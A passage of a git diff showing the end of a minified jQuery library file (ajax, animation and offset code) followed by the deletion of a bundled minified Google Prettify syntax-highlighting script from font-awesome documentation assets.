d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),e===""&&f.css(d,"display")==="none"&&f._data(d,"olddisplay",cv(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(cu("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(cu("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]),h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cv(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cn.test(h)?(o=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),o?(f._data(this,"toggle"+i,o==="show"?"hide":"show"),j[o]()):j[h]()):(k=co.exec(h),l=j.cur(),k?(m=parseFloat(k[2]),n=k[3]||(f.cssNumber[i]?"":"px"),n!=="px"&&(f.style(this,i,(m||1)+n),l=(m||1)/j.cur()*l,f.style(this,i,l+n)),k[1]&&(m=(k[1]==="-="?-1:1)*m+l),j.custom(l,m,n)):j.custom(l,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:cu("show",1),slideUp:cu("hide",1),slideToggle:cu("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a,b,c,d){return c+d*a},swing:function(a,b,c,d){return(-Math.cos(a*Math.PI)/2+.5)*d+c}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide&&f._data(e.elem,"fxshow"+e.prop)===b&&f._data(e.elem,"fxshow"+e.prop,e.start)},h()&&f.timers.push(h)&&!cp&&(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(["width","height"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel&&g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel&&g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)&&b!==i&&b!==h){if(f.support.fixedPosition&&k.position==="fixed")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d&&(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&c.overflow!=="visible"&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position==="relative"||k.position==="static")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition&&k.position==="fixed"&&(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/prettify.min.js b/assets/font-awesome/docs/assets/js/prettify.min.js
deleted file mode 100755
index eef5ad7e..00000000
--- a/assets/font-awesome/docs/assets/js/prettify.min.js
+++ /dev/null
@@ -1,28 +0,0 @@
-var q=null;window.PR_SHOULD_USE_CONTINUATION=!0;
-(function(){function L(a){function m(a){var f=a.charCodeAt(0);if(f!==92)return f;var b=a.charAt(1);return(f=r[b])?f:"0"<=b&&b<="7"?parseInt(a.substring(1),8):b==="u"||b==="x"?parseInt(a.substring(2),16):a.charCodeAt(1)}function e(a){if(a<32)return(a<16?"\\x0":"\\x")+a.toString(16);a=String.fromCharCode(a);if(a==="\\"||a==="-"||a==="["||a==="]")a="\\"+a;return a}function h(a){for(var f=a.substring(1,a.length-1).match(/\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\[0-3][0-7]{0,2}|\\[0-7]{1,2}|\\[\S\s]|[^\\]/g),a=
-[],b=[],o=f[0]==="^",c=o?1:0,i=f.length;c<i;++c){var j=f[c];if(/\\[bdsw]/i.test(j))a.push(j);else{var j=m(j),d;c+2<i&&"-"===f[c+1]?(d=m(f[c+2]),c+=2):d=j;b.push([j,d]);d<65||j>122||(d<65||j>90||b.push([Math.max(65,j)|32,Math.min(d,90)|32]),d<97||j>122||b.push([Math.max(97,j)&-33,Math.min(d,122)&-33]))}}b.sort(function(a,f){return a[0]-f[0]||f[1]-a[1]});f=[];j=[NaN,NaN];for(c=0;c<b.length;++c)i=b[c],i[0]<=j[1]+1?j[1]=Math.max(j[1],i[1]):f.push(j=i);b=["["];o&&b.push("^");b.push.apply(b,a);for(c=0;c<
-f.length;++c)i=f[c],b.push(e(i[0])),i[1]>i[0]&&(i[1]+1>i[0]&&b.push("-"),b.push(e(i[1])));b.push("]");return b.join("")}function y(a){for(var f=a.source.match(/\[(?:[^\\\]]|\\[\S\s])*]|\\u[\dA-Fa-f]{4}|\\x[\dA-Fa-f]{2}|\\\d+|\\[^\dux]|\(\?[!:=]|[()^]|[^()[\\^]+/g),b=f.length,d=[],c=0,i=0;c<b;++c){var j=f[c];j==="("?++i:"\\"===j.charAt(0)&&(j=+j.substring(1))&&j<=i&&(d[j]=-1)}for(c=1;c<d.length;++c)-1===d[c]&&(d[c]=++t);for(i=c=0;c<b;++c)j=f[c],j==="("?(++i,d[i]===void 0&&(f[c]="(?:")):"\\"===j.charAt(0)&&
-(j=+j.substring(1))&&j<=i&&(f[c]="\\"+d[i]);for(i=c=0;c<b;++c)"^"===f[c]&&"^"!==f[c+1]&&(f[c]="");if(a.ignoreCase&&s)for(c=0;c<b;++c)j=f[c],a=j.charAt(0),j.length>=2&&a==="["?f[c]=h(j):a!=="\\"&&(f[c]=j.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return"["+String.fromCharCode(a&-33,a|32)+"]"}));return f.join("")}for(var t=0,s=!1,l=!1,p=0,d=a.length;p<d;++p){var g=a[p];if(g.ignoreCase)l=!0;else if(/[a-z]/i.test(g.source.replace(/\\u[\da-f]{4}|\\x[\da-f]{2}|\\[^UXux]/gi,""))){s=!0;l=!1;break}}for(var r=
-{b:8,t:9,n:10,v:11,f:12,r:13},n=[],p=0,d=a.length;p<d;++p){g=a[p];if(g.global||g.multiline)throw Error(""+g);n.push("(?:"+y(g)+")")}return RegExp(n.join("|"),l?"gi":"g")}function M(a){function m(a){switch(a.nodeType){case 1:if(e.test(a.className))break;for(var g=a.firstChild;g;g=g.nextSibling)m(g);g=a.nodeName;if("BR"===g||"LI"===g)h[s]="\n",t[s<<1]=y++,t[s++<<1|1]=a;break;case 3:case 4:g=a.nodeValue,g.length&&(g=p?g.replace(/\r\n?/g,"\n"):g.replace(/[\t\n\r ]+/g," "),h[s]=g,t[s<<1]=y,y+=g.length,
-t[s++<<1|1]=a)}}var e=/(?:^|\s)nocode(?:\s|$)/,h=[],y=0,t=[],s=0,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=document.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);m(a);return{a:h.join("").replace(/\n$/,""),c:t}}function B(a,m,e,h){m&&(a={a:m,d:a},e(a),h.push.apply(h,a.e))}function x(a,m){function e(a){for(var l=a.d,p=[l,"pln"],d=0,g=a.a.match(y)||[],r={},n=0,z=g.length;n<z;++n){var f=g[n],b=r[f],o=void 0,c;if(typeof b===
-"string")c=!1;else{var i=h[f.charAt(0)];if(i)o=f.match(i[1]),b=i[0];else{for(c=0;c<t;++c)if(i=m[c],o=f.match(i[1])){b=i[0];break}o||(b="pln")}if((c=b.length>=5&&"lang-"===b.substring(0,5))&&!(o&&typeof o[1]==="string"))c=!1,b="src";c||(r[f]=b)}i=d;d+=f.length;if(c){c=o[1];var j=f.indexOf(c),k=j+c.length;o[2]&&(k=f.length-o[2].length,j=k-c.length);b=b.substring(5);B(l+i,f.substring(0,j),e,p);B(l+i+j,c,C(b,c),p);B(l+i+k,f.substring(k),e,p)}else p.push(l+i,b)}a.e=p}var h={},y;(function(){for(var e=a.concat(m),
-l=[],p={},d=0,g=e.length;d<g;++d){var r=e[d],n=r[3];if(n)for(var k=n.length;--k>=0;)h[n.charAt(k)]=r;r=r[1];n=""+r;p.hasOwnProperty(n)||(l.push(r),p[n]=q)}l.push(/[\S\s]/);y=L(l)})();var t=m.length;return e}function u(a){var m=[],e=[];a.tripleQuotedStrings?m.push(["str",/^(?:'''(?:[^'\\]|\\[\S\s]|''?(?=[^']))*(?:'''|$)|"""(?:[^"\\]|\\[\S\s]|""?(?=[^"]))*(?:"""|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$))/,q,"'\""]):a.multiLineStrings?m.push(["str",/^(?:'(?:[^'\\]|\\[\S\s])*(?:'|$)|"(?:[^"\\]|\\[\S\s])*(?:"|$)|`(?:[^\\`]|\\[\S\s])*(?:`|$))/,
-q,"'\"`"]):m.push(["str",/^(?:'(?:[^\n\r'\\]|\\.)*(?:'|$)|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,q,"\"'"]);a.verbatimStrings&&e.push(["str",/^@"(?:[^"]|"")*(?:"|$)/,q]);var h=a.hashComments;h&&(a.cStyleComments?(h>1?m.push(["com",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,"#"]):m.push(["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,q,"#"]),e.push(["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,q])):m.push(["com",/^#[^\n\r]*/,
-q,"#"]));a.cStyleComments&&(e.push(["com",/^\/\/[^\n\r]*/,q]),e.push(["com",/^\/\*[\S\s]*?(?:\*\/|$)/,q]));a.regexLiterals&&e.push(["lang-regex",/^(?:^^\.?|[!+-]|!=|!==|#|%|%=|&|&&|&&=|&=|\(|\*|\*=|\+=|,|-=|->|\/|\/=|:|::|;|<|<<|<<=|<=|=|==|===|>|>=|>>|>>=|>>>|>>>=|[?@[^]|\^=|\^\^|\^\^=|{|\||\|=|\|\||\|\|=|~|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\s*(\/(?=[^*/])(?:[^/[\\]|\\[\S\s]|\[(?:[^\\\]]|\\[\S\s])*(?:]|$))+\/)/]);(h=a.types)&&e.push(["typ",h]);a=(""+a.keywords).replace(/^ | $/g,
-"");a.length&&e.push(["kwd",RegExp("^(?:"+a.replace(/[\s,]+/g,"|")+")\\b"),q]);m.push(["pln",/^\s+/,q," \r\n\t\xa0"]);e.push(["lit",/^@[$_a-z][\w$@]*/i,q],["typ",/^(?:[@_]?[A-Z]+[a-z][\w$@]*|\w+_t\b)/,q],["pln",/^[$_a-z][\w$@]*/i,q],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,q,"0123456789"],["pln",/^\\[\S\s]?/,q],["pun",/^.[^\s\w"-$'./@\\`]*/,q]);return x(m,e)}function D(a,m){function e(a){switch(a.nodeType){case 1:if(k.test(a.className))break;if("BR"===a.nodeName)h(a),
-a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)e(a);break;case 3:case 4:if(p){var b=a.nodeValue,d=b.match(t);if(d){var c=b.substring(0,d.index);a.nodeValue=c;(b=b.substring(d.index+d[0].length))&&a.parentNode.insertBefore(s.createTextNode(b),a.nextSibling);h(a);c||a.parentNode.removeChild(a)}}}}function h(a){function b(a,d){var e=d?a.cloneNode(!1):a,f=a.parentNode;if(f){var f=b(f,1),g=a.nextSibling;f.appendChild(e);for(var h=g;h;h=g)g=h.nextSibling,f.appendChild(h)}return e}
-for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),e;(e=a.parentNode)&&e.nodeType===1;)a=e;d.push(a)}var k=/(?:^|\s)nocode(?:\s|$)/,t=/\r\n?|\n/,s=a.ownerDocument,l;a.currentStyle?l=a.currentStyle.whiteSpace:window.getComputedStyle&&(l=s.defaultView.getComputedStyle(a,q).getPropertyValue("white-space"));var p=l&&"pre"===l.substring(0,3);for(l=s.createElement("LI");a.firstChild;)l.appendChild(a.firstChild);for(var d=[l],g=0;g<d.length;++g)e(d[g]);m===(m|0)&&d[0].setAttribute("value",
-m);var r=s.createElement("OL");r.className="linenums";for(var n=Math.max(0,m-1|0)||0,g=0,z=d.length;g<z;++g)l=d[g],l.className="L"+(g+n)%10,l.firstChild||l.appendChild(s.createTextNode("\xa0")),r.appendChild(l);a.appendChild(r)}function k(a,m){for(var e=m.length;--e>=0;){var h=m[e];A.hasOwnProperty(h)?window.console&&console.warn("cannot override language handler %s",h):A[h]=a}}function C(a,m){if(!a||!A.hasOwnProperty(a))a=/^\s*</.test(m)?"default-markup":"default-code";return A[a]}function E(a){var m=
-a.g;try{var e=M(a.h),h=e.a;a.a=h;a.c=e.c;a.d=0;C(m,h)(a);var k=/\bMSIE\b/.test(navigator.userAgent),m=/\n/g,t=a.a,s=t.length,e=0,l=a.c,p=l.length,h=0,d=a.e,g=d.length,a=0;d[g]=s;var r,n;for(n=r=0;n<g;)d[n]!==d[n+2]?(d[r++]=d[n++],d[r++]=d[n++]):n+=2;g=r;for(n=r=0;n<g;){for(var z=d[n],f=d[n+1],b=n+2;b+2<=g&&d[b+1]===f;)b+=2;d[r++]=z;d[r++]=f;n=b}for(d.length=r;h<p;){var o=l[h+2]||s,c=d[a+2]||s,b=Math.min(o,c),i=l[h+1],j;if(i.nodeType!==1&&(j=t.substring(e,b))){k&&(j=j.replace(m,"\r"));i.nodeValue=
-j;var u=i.ownerDocument,v=u.createElement("SPAN");v.className=d[a+1];var x=i.parentNode;x.replaceChild(v,i);v.appendChild(i);e<o&&(l[h+1]=i=u.createTextNode(t.substring(b,o)),x.insertBefore(i,v.nextSibling))}e=b;e>=o&&(h+=2);e>=c&&(a+=2)}}catch(w){"console"in window&&console.log(w&&w.stack?w.stack:w)}}var v=["break,continue,do,else,for,if,return,while"],w=[[v,"auto,case,char,const,default,double,enum,extern,float,goto,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile"],
-"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof"],F=[w,"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,dynamic_cast,explicit,export,friend,inline,late_check,mutable,namespace,nullptr,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where"],G=[w,"abstract,boolean,byte,extends,final,finally,implements,import,instanceof,null,native,package,strictfp,super,synchronized,throws,transient"],
-H=[G,"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,interface,internal,into,is,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var"],w=[w,"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN"],I=[v,"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None"],
-J=[v,"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END"],v=[v,"case,done,elif,esac,eval,fi,function,in,local,set,then,until"],K=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\d*)/,N=/\S/,O=u({keywords:[F,H,w,"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END"+
